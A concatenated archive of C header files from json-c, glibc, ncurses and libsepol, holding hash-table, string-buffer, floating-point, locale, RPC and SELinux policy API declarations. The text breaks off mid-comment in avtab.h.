extern void lh_table_free(struct lh_table *t); /** * Insert a record into the table. * * @param t the table to insert into. * @param k a pointer to the key to insert. * @param v a pointer to the value to insert. * * @return On success, <code>0</code> is returned. * On error, a negative value is returned. */ extern int lh_table_insert(struct lh_table *t, const void *k, const void *v); /** * Insert a record into the table using a precalculated key hash. * * The hash h, which should be calculated with lh_get_hash() on k, is provided by * the caller, to allow for optimization when multiple operations with the same * key are known to be needed. * * @param t the table to insert into. * @param k a pointer to the key to insert. * @param v a pointer to the value to insert. * @param h hash value of the key to insert * @param opts if set to JSON_C_OBJECT_KEY_IS_CONSTANT, sets lh_entry.k_is_constant * so t's free function knows to avoid freeing the key. */ extern int lh_table_insert_w_hash(struct lh_table *t, const void *k, const void *v, const unsigned long h, const unsigned opts); /** * Lookup a record in the table. * * @param t the table to lookup * @param k a pointer to the key to lookup * @return a pointer to the record structure of the value or NULL if it does not exist. */ extern struct lh_entry* lh_table_lookup_entry(struct lh_table *t, const void *k); /** * Lookup a record in the table using a precalculated key hash. * * The hash h, which should be calculated with lh_get_hash() on k, is provided by * the caller, to allow for optimization when multiple operations with the same * key are known to be needed. * * @param t the table to lookup * @param k a pointer to the key to lookup * @param h hash value of the key to lookup * @return a pointer to the record structure of the value or NULL if it does not exist. */ extern struct lh_entry* lh_table_lookup_entry_w_hash(struct lh_table *t, const void *k, const unsigned long h); /** * Lookup a record into the table. * * @param t the table to lookup * @param k a pointer to the key to lookup * @return a pointer to the found value or NULL if it does not exist. * @deprecated Use lh_table_lookup_ex() instead. */ THIS_FUNCTION_IS_DEPRECATED(extern const void* lh_table_lookup(struct lh_table *t, const void *k)); /** * Lookup a record in the table. * * @param t the table to lookup * @param k a pointer to the key to lookup * @param v a pointer to a where to store the found value (set to NULL if it doesn't exist). * @return whether or not the key was found */ extern json_bool lh_table_lookup_ex(struct lh_table *t, const void *k, void **v); /** * Delete a record from the table. * * If a callback free function is provided then it is called for the * for the item being deleted. * @param t the table to delete from. * @param e a pointer to the entry to delete. * @return 0 if the item was deleted. * @return -1 if it was not found. */ extern int lh_table_delete_entry(struct lh_table *t, struct lh_entry *e); /** * Delete a record from the table. * * If a callback free function is provided then it is called for the * for the item being deleted. * @param t the table to delete from. * @param k a pointer to the key to delete. * @return 0 if the item was deleted. * @return -1 if it was not found. */ extern int lh_table_delete(struct lh_table *t, const void *k); extern int lh_table_length(struct lh_table *t); /** * Prints a message to <code>stdout</code>, * then exits the program with an exit code of <code>1</code>. * * @param msg Message format string, like for <code>printf</code>. * @param ... Format args. * * @deprecated Since it is not a good idea to exit the entire program * because of an internal library failure, json-c will no longer * use this function internally. * However, because its interface is public, it will remain part of * the API on the off chance of legacy software using it externally. */ THIS_FUNCTION_IS_DEPRECATED(void lh_abort(const char *msg, ...)); /** * Resizes the specified table. * * @param t Pointer to table to resize. * @param new_size New table size. Must be positive. * * @return On success, <code>0</code> is returned. * On error, a negative value is returned. */ int lh_table_resize(struct lh_table *t, int new_size); /** * @deprecated Don't use this outside of linkhash.h: */ #if !defined(_MSC_VER) || (_MSC_VER > 1800) /* VS2010 can't handle inline funcs, so skip it there */ #define _LH_INLINE inline #else #define _LH_INLINE #endif /** * Calculate the hash of a key for a given table. * * This is an exension to support functions that need to calculate * the hash several times and allows them to do it just once and then pass * in the hash to all utility functions. Depending on use case, this can be a * considerable performance improvement. * @param t the table (used to obtain hash function) * @param k a pointer to the key to lookup * @return the key's hash */ static _LH_INLINE unsigned long lh_get_hash(const struct lh_table *t, const void *k) { return t->hash_fn(k); } #undef _LH_INLINE /** * @deprecated Don't use this outside of linkhash.h: */ #ifdef __UNCONST #define _LH_UNCONST(a) __UNCONST(a) #else #define _LH_UNCONST(a) ((void *)(uintptr_t)(const void *)(a)) #endif /** * Return a non-const version of lh_entry.k. * * lh_entry.k is const to indicate and help ensure that linkhash itself doesn't modify * it, but callers are allowed to do what they want with it. * See also lh_entry.k_is_constant */ #define lh_entry_k(entry) _LH_UNCONST((entry)->k) /** * Return a non-const version of lh_entry.v. * * v is const to indicate and help ensure that linkhash itself doesn't modify * it, but callers are allowed to do what they want with it. */ #define lh_entry_v(entry) _LH_UNCONST((entry)->v) #ifdef __cplusplus } #endif #endif json-c/printbuf.h 0000644 00000007422 15246445046 0007756 0 ustar 00 /* * $Id: printbuf.h,v 1.4 2006/01/26 02:16:28 mclark Exp $ * * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd. * Michael Clark <michael@metaparadigm.com> * * This library is free software; you can redistribute it and/or modify * it under the terms of the MIT license. See COPYING for details. * * * Copyright (c) 2008-2009 Yahoo! Inc. All rights reserved. * The copyrights to the contents of this file are licensed under the MIT License * (http://www.opensource.org/licenses/mit-license.php) */ /** * @file * @brief Internal string buffer handing. Unless you're writing a * json_object_to_json_string_fn implementation for use with * json_object_set_serializer() direct use of this is not * recommended. */ #ifndef _printbuf_h_ #define _printbuf_h_ #ifdef __cplusplus extern "C" { #endif struct printbuf { char *buf; int bpos; int size; }; typedef struct printbuf printbuf; extern struct printbuf* printbuf_new(void); /* As an optimization, printbuf_memappend_fast() is defined as a macro * that handles copying data if the buffer is large enough; otherwise * it invokes printbuf_memappend() which performs the heavy * lifting of realloc()ing the buffer and copying data. * * Your code should not use printbuf_memappend() directly unless it * checks the return code. Use printbuf_memappend_fast() instead. */ extern int printbuf_memappend(struct printbuf *p, const char *buf, int size); #define printbuf_memappend_fast(p, bufptr, bufsize) \ do { \ if ((p->size - p->bpos) > bufsize) { \ memcpy(p->buf + p->bpos, (bufptr), bufsize); \ p->bpos += bufsize; \ p->buf[p->bpos]= '\0'; \ } else { printbuf_memappend(p, (bufptr), bufsize); } \ } while (0) #define printbuf_length(p) ((p)->bpos) /** * Results in a compile error if the argument is not a string literal. */ #define _printbuf_check_literal(mystr) ("" mystr) /** * This is an optimization wrapper around printbuf_memappend() that is useful * for appending string literals. Since the size of string constants is known * at compile time, using this macro can avoid a costly strlen() call. This is * especially helpful when a constant string must be appended many times. If * you got here because of a compilation error caused by passing something * other than a string literal, use printbuf_memappend_fast() in conjunction * with strlen(). * * See also: * printbuf_memappend_fast() * printbuf_memappend() * sprintbuf() */ #define printbuf_strappend(pb, str) \ printbuf_memappend ((pb), _printbuf_check_literal(str), sizeof(str) - 1) /** * Set len bytes of the buffer to charvalue, starting at offset offset. * Similar to calling memset(x, charvalue, len); * * The memory allocated for the buffer is extended as necessary. * * If offset is -1, this starts at the end of the current data in the buffer. */ extern int printbuf_memset(struct printbuf *pb, int offset, int charvalue, int len); /** * Formatted print to printbuf. * * This function is the most expensive of the available functions for appending * string data to a printbuf and should be used only where convenience is more * important than speed. Avoid using this function in high performance code or * tight loops; in these scenarios, consider using snprintf() with a static * buffer in conjunction with one of the printbuf_*append() functions. * * See also: * printbuf_memappend_fast() * printbuf_memappend() * printbuf_strappend() */ extern int sprintbuf(struct printbuf *p, const char *msg, ...); extern void printbuf_reset(struct printbuf *p); extern void printbuf_free(struct printbuf *p); #ifdef __cplusplus } #endif #endif json-c/arraylist.h 0000644 00000003025 15246445046 0010132 0 ustar 00 /* * $Id: arraylist.h,v 1.4 2006/01/26 02:16:28 mclark Exp $ * * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd. * Michael Clark <michael@metaparadigm.com> * * This library is free software; you can redistribute it and/or modify * it under the terms of the MIT license. See COPYING for details. * */ /** * @file * @brief Internal methods for working with json_type_array objects. * Although this is exposed by the json_object_get_array() method, * it is not recommended for direct use. */ #ifndef _arraylist_h_ #define _arraylist_h_ #ifdef __cplusplus extern "C" { #endif #define ARRAY_LIST_DEFAULT_SIZE 32 typedef void (array_list_free_fn) (void *data); struct array_list { void **array; size_t length; size_t size; array_list_free_fn *free_fn; }; typedef struct array_list array_list; extern struct array_list* array_list_new(array_list_free_fn *free_fn); extern void array_list_free(struct array_list *al); extern void* array_list_get_idx(struct array_list *al, size_t i); extern int array_list_put_idx(struct array_list *al, size_t i, void *data); extern int array_list_add(struct array_list *al, void *data); extern size_t array_list_length(struct array_list *al); extern void array_list_sort(struct array_list *arr, int(*compar)(const void *, const void *)); extern void* array_list_bsearch(const void **key, struct array_list *arr, int (*sort_fn)(const void *, const void *)); extern int array_list_del_idx(struct array_list *arr, size_t idx, size_t count); #ifdef __cplusplus } #endif #endif fenv.h 0000644 00000013341 15246445046 0005667 0 ustar 00 /* Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * ISO C99 7.6: Floating-point environment <fenv.h> */ #ifndef _FENV_H #define _FENV_H 1 #define __GLIBC_INTERNAL_STARTING_HEADER_IMPLEMENTATION #include <bits/libc-header-start.h> /* Get the architecture dependend definitions. The following definitions are expected to be done: fenv_t type for object representing an entire floating-point environment FE_DFL_ENV macro of type pointer to fenv_t to be used as the argument to functions taking an argument of type fenv_t; in this case the default environment will be used fexcept_t type for object representing the floating-point exception flags including status associated with the flags femode_t type for object representing floating-point control modes FE_DFL_MODE macro of type pointer to const femode_t to be used as the argument to fesetmode; in this case the default control modes will be used The following macros are defined iff the implementation supports this kind of exception. FE_INEXACT inexact result FE_DIVBYZERO division by zero FE_UNDERFLOW result not representable due to underflow FE_OVERFLOW result not representable due to overflow FE_INVALID invalid operation FE_ALL_EXCEPT bitwise OR of all supported exceptions The next macros are defined iff the appropriate rounding mode is supported by the implementation. FE_TONEAREST round to nearest FE_UPWARD round toward +Inf FE_DOWNWARD round toward -Inf FE_TOWARDZERO round toward 0 */ #include <bits/fenv.h> __BEGIN_DECLS /* Floating-point exception handling. */ /* Clear the supported exceptions represented by EXCEPTS. */ extern int feclearexcept (int __excepts) __THROW; /* Store implementation-defined representation of the exception flags indicated by EXCEPTS in the object pointed to by FLAGP. */ extern int fegetexceptflag (fexcept_t *__flagp, int __excepts) __THROW; /* Raise the supported exceptions represented by EXCEPTS. */ extern int feraiseexcept (int __excepts) __THROW; #if __GLIBC_USE (IEC_60559_BFP_EXT) /* Set the supported exception flags represented by EXCEPTS, without causing enabled traps to be taken. */ extern int fesetexcept (int __excepts) __THROW; #endif /* Set complete status for exceptions indicated by EXCEPTS according to the representation in the object pointed to by FLAGP. */ extern int fesetexceptflag (const fexcept_t *__flagp, int __excepts) __THROW; /* Determine which of subset of the exceptions specified by EXCEPTS are currently set. */ extern int fetestexcept (int __excepts) __THROW; #if __GLIBC_USE (IEC_60559_BFP_EXT) /* Determine which of subset of the exceptions specified by EXCEPTS are set in *FLAGP. */ extern int fetestexceptflag (const fexcept_t *__flagp, int __excepts) __THROW; #endif /* Rounding control. */ /* Get current rounding direction. */ extern int fegetround (void) __THROW __attribute_pure__; /* Establish the rounding direction represented by ROUND. */ extern int fesetround (int __rounding_direction) __THROW; /* Floating-point environment. */ /* Store the current floating-point environment in the object pointed to by ENVP. */ extern int fegetenv (fenv_t *__envp) __THROW; /* Save the current environment in the object pointed to by ENVP, clear exception flags and install a non-stop mode (if available) for all exceptions. */ extern int feholdexcept (fenv_t *__envp) __THROW; /* Establish the floating-point environment represented by the object pointed to by ENVP. */ extern int fesetenv (const fenv_t *__envp) __THROW; /* Save current exceptions in temporary storage, install environment represented by object pointed to by ENVP and raise exceptions according to saved exceptions. */ extern int feupdateenv (const fenv_t *__envp) __THROW; /* Control modes. */ #if __GLIBC_USE (IEC_60559_BFP_EXT) /* Store the current floating-point control modes in the object pointed to by MODEP. */ extern int fegetmode (femode_t *__modep) __THROW; /* Establish the floating-point control modes represented by the object pointed to by MODEP. */ extern int fesetmode (const femode_t *__modep) __THROW; #endif /* Include optimization. */ #ifdef __OPTIMIZE__ # include <bits/fenvinline.h> #endif /* NaN support. */ #if (__GLIBC_USE (IEC_60559_BFP_EXT) \ && defined FE_INVALID \ && defined __SUPPORT_SNAN__) # define FE_SNANS_ALWAYS_SIGNAL 1 #endif #ifdef __USE_GNU /* Enable individual exceptions. Will not enable more exceptions than EXCEPTS specifies. Returns the previous enabled exceptions if all exceptions are successfully set, otherwise returns -1. */ extern int feenableexcept (int __excepts) __THROW; /* Disable individual exceptions. Will not disable more exceptions than EXCEPTS specifies. Returns the previous enabled exceptions if all exceptions are successfully disabled, otherwise returns -1. */ extern int fedisableexcept (int __excepts) __THROW; /* Return enabled exceptions. */ extern int fegetexcept (void) __THROW; #endif __END_DECLS #endif /* fenv.h */ eti.h 0000644 00000005513 15246445046 0005514 0 ustar 00 /**************************************************************************** * Copyright (c) 1998-2002,2003 Free Software Foundation, Inc. * * * * Permission is hereby granted, free of charge, to any person obtaining a * * copy of this software and associated documentation files (the * * "Software"), to deal in the Software without restriction, including * * without limitation the rights to use, copy, modify, merge, publish, * * distribute, distribute with modifications, sublicense, and/or sell * * copies of the Software, and to permit persons to whom the Software is * * furnished to do so, subject to the following conditions: * * * * The above copyright notice and this permission notice shall be included * * in all copies or substantial portions of the Software. * * * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * * IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR * * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR * * THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * * * Except as contained in this notice, the name(s) of the above copyright * * holders shall not be used in advertising or otherwise to promote the * * sale, use or other dealings in this Software without prior written * * authorization. * ****************************************************************************/ /**************************************************************************** * Author: Juergen Pfeifer, 1995,1997 * ****************************************************************************/ /* $Id: eti.h,v 1.8 2003/10/25 15:24:29 tom Exp $ */ #ifndef NCURSES_ETI_H_incl #define NCURSES_ETI_H_incl 1 #define E_OK (0) #define E_SYSTEM_ERROR (-1) #define E_BAD_ARGUMENT (-2) #define E_POSTED (-3) #define E_CONNECTED (-4) #define E_BAD_STATE (-5) #define E_NO_ROOM (-6) #define E_NOT_POSTED (-7) #define E_UNKNOWN_COMMAND (-8) #define E_NO_MATCH (-9) #define E_NOT_SELECTABLE (-10) #define E_NOT_CONNECTED (-11) #define E_REQUEST_DENIED (-12) #define E_INVALID_FIELD (-13) #define E_CURRENT (-14) #endif locale.h 0000644 00000016772 15246445046 0006203 0 ustar 00 /* Copyright (C) 1991-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * ISO C99 Standard: 7.11 Localization <locale.h> */ #ifndef _LOCALE_H #define _LOCALE_H 1 #include <features.h> #define __need_NULL #include <stddef.h> #include <bits/locale.h> __BEGIN_DECLS /* These are the possibilities for the first argument to setlocale. The code assumes that the lowest LC_* symbol has the value zero. */ #define LC_CTYPE __LC_CTYPE #define LC_NUMERIC __LC_NUMERIC #define LC_TIME __LC_TIME #define LC_COLLATE __LC_COLLATE #define LC_MONETARY __LC_MONETARY #define LC_MESSAGES __LC_MESSAGES #define LC_ALL __LC_ALL #define LC_PAPER __LC_PAPER #define LC_NAME __LC_NAME #define LC_ADDRESS __LC_ADDRESS #define LC_TELEPHONE __LC_TELEPHONE #define LC_MEASUREMENT __LC_MEASUREMENT #define LC_IDENTIFICATION __LC_IDENTIFICATION /* Structure giving information about numeric and monetary notation. */ struct lconv { /* Numeric (non-monetary) information. */ char *decimal_point; /* Decimal point character. */ char *thousands_sep; /* Thousands separator. */ /* Each element is the number of digits in each group; elements with higher indices are farther left. An element with value CHAR_MAX means that no further grouping is done. An element with value 0 means that the previous element is used for all groups farther left. */ char *grouping; /* Monetary information. */ /* First three chars are a currency symbol from ISO 4217. Fourth char is the separator. Fifth char is '\0'. */ char *int_curr_symbol; char *currency_symbol; /* Local currency symbol. */ char *mon_decimal_point; /* Decimal point character. */ char *mon_thousands_sep; /* Thousands separator. */ char *mon_grouping; /* Like `grouping' element (above). */ char *positive_sign; /* Sign for positive values. */ char *negative_sign; /* Sign for negative values. */ char int_frac_digits; /* Int'l fractional digits. */ char frac_digits; /* Local fractional digits. */ /* 1 if currency_symbol precedes a positive value, 0 if succeeds. */ char p_cs_precedes; /* 1 iff a space separates currency_symbol from a positive value. */ char p_sep_by_space; /* 1 if currency_symbol precedes a negative value, 0 if succeeds. */ char n_cs_precedes; /* 1 iff a space separates currency_symbol from a negative value. */ char n_sep_by_space; /* Positive and negative sign positions: 0 Parentheses surround the quantity and currency_symbol. 1 The sign string precedes the quantity and currency_symbol. 2 The sign string follows the quantity and currency_symbol. 3 The sign string immediately precedes the currency_symbol. 4 The sign string immediately follows the currency_symbol. */ char p_sign_posn; char n_sign_posn; #ifdef __USE_ISOC99 /* 1 if int_curr_symbol precedes a positive value, 0 if succeeds. */ char int_p_cs_precedes; /* 1 iff a space separates int_curr_symbol from a positive value. */ char int_p_sep_by_space; /* 1 if int_curr_symbol precedes a negative value, 0 if succeeds. */ char int_n_cs_precedes; /* 1 iff a space separates int_curr_symbol from a negative value. */ char int_n_sep_by_space; /* Positive and negative sign positions: 0 Parentheses surround the quantity and int_curr_symbol. 1 The sign string precedes the quantity and int_curr_symbol. 2 The sign string follows the quantity and int_curr_symbol. 3 The sign string immediately precedes the int_curr_symbol. 4 The sign string immediately follows the int_curr_symbol. */ char int_p_sign_posn; char int_n_sign_posn; #else char __int_p_cs_precedes; char __int_p_sep_by_space; char __int_n_cs_precedes; char __int_n_sep_by_space; char __int_p_sign_posn; char __int_n_sign_posn; #endif }; /* Set and/or return the current locale. */ extern char *setlocale (int __category, const char *__locale) __THROW; /* Return the numeric/monetary information for the current locale. */ extern struct lconv *localeconv (void) __THROW; #ifdef __USE_XOPEN2K8 /* POSIX.1-2008 extends the locale interface with functions for explicit creation and manipulation of 'locale_t' objects representing locale contexts, and a set of parallel locale-sensitive text processing functions that take a locale_t argument. This enables applications to work with data from multiple locales simultaneously and thread-safely. */ # include <bits/types/locale_t.h> /* Return a reference to a data structure representing a set of locale datasets. Unlike for the CATEGORY parameter for `setlocale' the CATEGORY_MASK parameter here uses a single bit for each category, made by OR'ing together LC_*_MASK bits above. */ extern locale_t newlocale (int __category_mask, const char *__locale, locale_t __base) __THROW; /* These are the bits that can be set in the CATEGORY_MASK argument to `newlocale'. In the GNU implementation, LC_FOO_MASK has the value of (1 << LC_FOO), but this is not a part of the interface that callers can assume will be true. */ # define LC_CTYPE_MASK (1 << __LC_CTYPE) # define LC_NUMERIC_MASK (1 << __LC_NUMERIC) # define LC_TIME_MASK (1 << __LC_TIME) # define LC_COLLATE_MASK (1 << __LC_COLLATE) # define LC_MONETARY_MASK (1 << __LC_MONETARY) # define LC_MESSAGES_MASK (1 << __LC_MESSAGES) # define LC_PAPER_MASK (1 << __LC_PAPER) # define LC_NAME_MASK (1 << __LC_NAME) # define LC_ADDRESS_MASK (1 << __LC_ADDRESS) # define LC_TELEPHONE_MASK (1 << __LC_TELEPHONE) # define LC_MEASUREMENT_MASK (1 << __LC_MEASUREMENT) # define LC_IDENTIFICATION_MASK (1 << __LC_IDENTIFICATION) # define LC_ALL_MASK (LC_CTYPE_MASK \ | LC_NUMERIC_MASK \ | LC_TIME_MASK \ | LC_COLLATE_MASK \ | LC_MONETARY_MASK \ | LC_MESSAGES_MASK \ | LC_PAPER_MASK \ | LC_NAME_MASK \ | LC_ADDRESS_MASK \ | LC_TELEPHONE_MASK \ | LC_MEASUREMENT_MASK \ | LC_IDENTIFICATION_MASK \ ) /* Return a duplicate of the set of locale in DATASET. All usage counters are increased if necessary. */ extern locale_t duplocale (locale_t __dataset) __THROW; /* Free the data associated with a locale dataset previously returned by a call to `setlocale_r'. */ extern void freelocale (locale_t __dataset) __THROW; /* Switch the current thread's locale to DATASET. If DATASET is null, instead just return the current setting. The special value LC_GLOBAL_LOCALE is the initial setting for all threads and can also be installed any time, meaning the thread uses the global settings controlled by `setlocale'. */ extern locale_t uselocale (locale_t __dataset) __THROW; /* This value can be passed to `uselocale' and may be returned by it. Passing this value to any other function has undefined behavior. */ # define LC_GLOBAL_LOCALE ((locale_t) -1L) #endif __END_DECLS #endif /* locale.h */ rpc/netdb.h 0000644 00000005521 15246445046 0006612 0 ustar 00 /* @(#)netdb.h 2.1 88/07/29 3.9 RPCSRC */ /* * Copyright (c) 2010, Oracle America, Inc. * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials * provided with the distribution. * * Neither the name of the "Oracle America, Inc." nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* Cleaned up for GNU C library roland@gnu.ai.mit.edu: added multiple inclusion protection and use of <sys/cdefs.h>. In GNU this file is #include'd by <netdb.h>. */ #ifndef _RPC_NETDB_H #define _RPC_NETDB_H 1 #include <features.h> #define __need_size_t #include <stddef.h> __BEGIN_DECLS struct rpcent { char *r_name; /* Name of server for this rpc program. */ char **r_aliases; /* Alias list. */ int r_number; /* RPC program number. */ }; extern void setrpcent (int __stayopen) __THROW; extern void endrpcent (void) __THROW; extern struct rpcent *getrpcbyname (const char *__name) __THROW; extern struct rpcent *getrpcbynumber (int __number) __THROW; extern struct rpcent *getrpcent (void) __THROW; #ifdef __USE_MISC extern int getrpcbyname_r (const char *__name, struct rpcent *__result_buf, char *__buffer, size_t __buflen, struct rpcent **__result) __THROW; extern int getrpcbynumber_r (int __number, struct rpcent *__result_buf, char *__buffer, size_t __buflen, struct rpcent **__result) __THROW; extern int getrpcent_r (struct rpcent *__result_buf, char *__buffer, size_t __buflen, struct rpcent **__result) __THROW; #endif __END_DECLS #endif /* rpc/netdb.h */ sepol/ibendport_record.h 0000644 00000004206 15246445046 0011377 0 ustar 00 #ifndef _SEPOL_IBENDPORT_RECORD_H_ #define _SEPOL_IBENDPORT_RECORD_H_ #include <stddef.h> #include <sepol/context_record.h> #include <sepol/handle.h> #ifdef __cplusplus extern "C" { #endif struct sepol_ibendport; struct sepol_ibendport_key; typedef struct sepol_ibendport sepol_ibendport_t; typedef struct sepol_ibendport_key sepol_ibendport_key_t; extern int sepol_ibendport_compare(const sepol_ibendport_t *ibendport, const sepol_ibendport_key_t *key); extern int sepol_ibendport_compare2(const sepol_ibendport_t *ibendport, const sepol_ibendport_t *ibendport2); extern int sepol_ibendport_key_create(sepol_handle_t *handle, const char *ibdev_name, int port, sepol_ibendport_key_t **key_ptr); extern void sepol_ibendport_key_unpack(const sepol_ibendport_key_t *key, const char **ibdev_name, int *port); extern int sepol_ibendport_alloc_ibdev_name(sepol_handle_t *handle, char **ibdev_name); extern int sepol_ibendport_key_extract(sepol_handle_t *handle, const sepol_ibendport_t *ibendport, sepol_ibendport_key_t **key_ptr); extern void sepol_ibendport_key_free(sepol_ibendport_key_t *key); extern void sepol_ibendport_set_port(sepol_ibendport_t *ibendport, int port); extern int sepol_ibendport_get_port(const sepol_ibendport_t *ibendport); extern int sepol_ibendport_get_ibdev_name(sepol_handle_t *handle, const sepol_ibendport_t *ibendport, char **ibdev_name); extern int sepol_ibendport_set_ibdev_name(sepol_handle_t *handle, sepol_ibendport_t *ibendport, const char *ibdev_name); extern sepol_context_t *sepol_ibendport_get_con(const sepol_ibendport_t *ibendport); extern int sepol_ibendport_set_con(sepol_handle_t *handle, sepol_ibendport_t *ibendport, sepol_context_t *con); extern int sepol_ibendport_create(sepol_handle_t *handle, sepol_ibendport_t **ibendport_ptr); extern int sepol_ibendport_clone(sepol_handle_t *handle, const sepol_ibendport_t *ibendport, sepol_ibendport_t **ibendport_ptr); extern void sepol_ibendport_free(sepol_ibendport_t *ibendport); #ifdef __cplusplus } #endif #endif sepol/sepol.h 0000644 00000001536 15246445046 0007200 0 ustar 00 #ifndef _SEPOL_H_ #define _SEPOL_H_ #include <stddef.h> #include <stdio.h> #ifdef __cplusplus extern "C" { #endif #include <sepol/user_record.h> #include <sepol/context_record.h> #include <sepol/iface_record.h> #include <sepol/ibpkey_record.h> #include <sepol/ibendport_record.h> #include <sepol/port_record.h> #include <sepol/boolean_record.h> #include <sepol/node_record.h> #include <sepol/booleans.h> #include <sepol/interfaces.h> #include <sepol/ibpkeys.h> #include <sepol/ibendports.h> #include <sepol/ports.h> #include <sepol/nodes.h> #include <sepol/users.h> #include <sepol/handle.h> #include <sepol/debug.h> #include <sepol/policydb.h> #include <sepol/module.h> #include <sepol/context.h> /* Set internal policydb from a file for subsequent service calls. */ extern int sepol_set_policydb_from_file(FILE * fp); #ifdef __cplusplus } #endif #endif sepol/ibendports.h 0000644 00000002553 15246445046 0010227 0 ustar 00 #ifndef _SEPOL_IBENDPORTS_H_ #define _SEPOL_IBENDPORTS_H_ #include <sepol/handle.h> #include <sepol/policydb.h> #include <sepol/ibendport_record.h> #ifdef __cplusplus extern "C" { #endif /* Return the number of ibendports */ extern int sepol_ibendport_count(sepol_handle_t *handle, const sepol_policydb_t *p, unsigned int *response); /* Check if a ibendport exists */ extern int sepol_ibendport_exists(sepol_handle_t *handle, const sepol_policydb_t *policydb, const sepol_ibendport_key_t *key, int *response); /* Query a ibendport - returns the ibendport, or NULL if not found */ extern int sepol_ibendport_query(sepol_handle_t *handle, const sepol_policydb_t *policydb, const sepol_ibendport_key_t *key, sepol_ibendport_t **response); /* Modify a ibendport, or add it, if the key is not found */ extern int sepol_ibendport_modify(sepol_handle_t *handle, sepol_policydb_t *policydb, const sepol_ibendport_key_t *key, const sepol_ibendport_t *data); /* Iterate the ibendports * The handler may return: * -1 to signal an error condition, * 1 to signal successful exit * 0 to signal continue */ extern int sepol_ibendport_iterate(sepol_handle_t *handle, const sepol_policydb_t *policydb, int (*fn)(const sepol_ibendport_t *ibendport, void *fn_arg), void *arg); #ifdef __cplusplus } #endif #endif sepol/policydb/symtab.h 0000644 00000002116 15246445046 0011155 0 ustar 00 /* Author : Stephen Smalley, <sds@tycho.nsa.gov> */ /* FLASK */ /* * A symbol table (symtab) maintains associations between symbol * strings and datum values. The type of the datum values * is arbitrary. The symbol table type is implemented * using the hash table type (hashtab). */ #ifndef _SEPOL_POLICYDB_SYMTAB_H_ #define _SEPOL_POLICYDB_SYMTAB_H_ #include <sepol/policydb/hashtab.h> #ifdef __cplusplus extern "C" { #endif /* The symtab_datum struct stores the common information for * all symtab datums. It should the first element in every * struct that will be used in a symtab to allow the specific * datum types to be freely cast to this type. * * The values start at 1 - 0 is never a valid value. */ typedef struct symtab_datum { uint32_t value; } symtab_datum_t; typedef struct { hashtab_t table; /* hash table (keyed on a string) */ uint32_t nprim; /* number of primary names in table */ } symtab_t; extern int symtab_init(symtab_t *, unsigned int size); extern void symtab_destroy(symtab_t *); #ifdef __cplusplus } #endif #endif /* _SYMTAB_H_ */ /* FLASK */ sepol/policydb/avtab.h 0000644 00000011207 15246445046 0010754 0 ustar 00 /* Author : Stephen Smalley, <sds@tycho.nsa.gov> */ /* * Updated: Yuichi Nakamura <ynakam@hitachisoft.jp> * Tuned number of hash slots for avtab to reduce memory usage */ /* Updated: Frank Mayer <mayerf@tresys.com> and Karl MacMillan <kmacmillan@tresys.com> * * Added conditional policy language extensions * * Copyright (C) 2003 Tresys Technology, LLC * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* FLASK */ /* * An access vector table (avtab) is a hash table * of access vectors and transition types 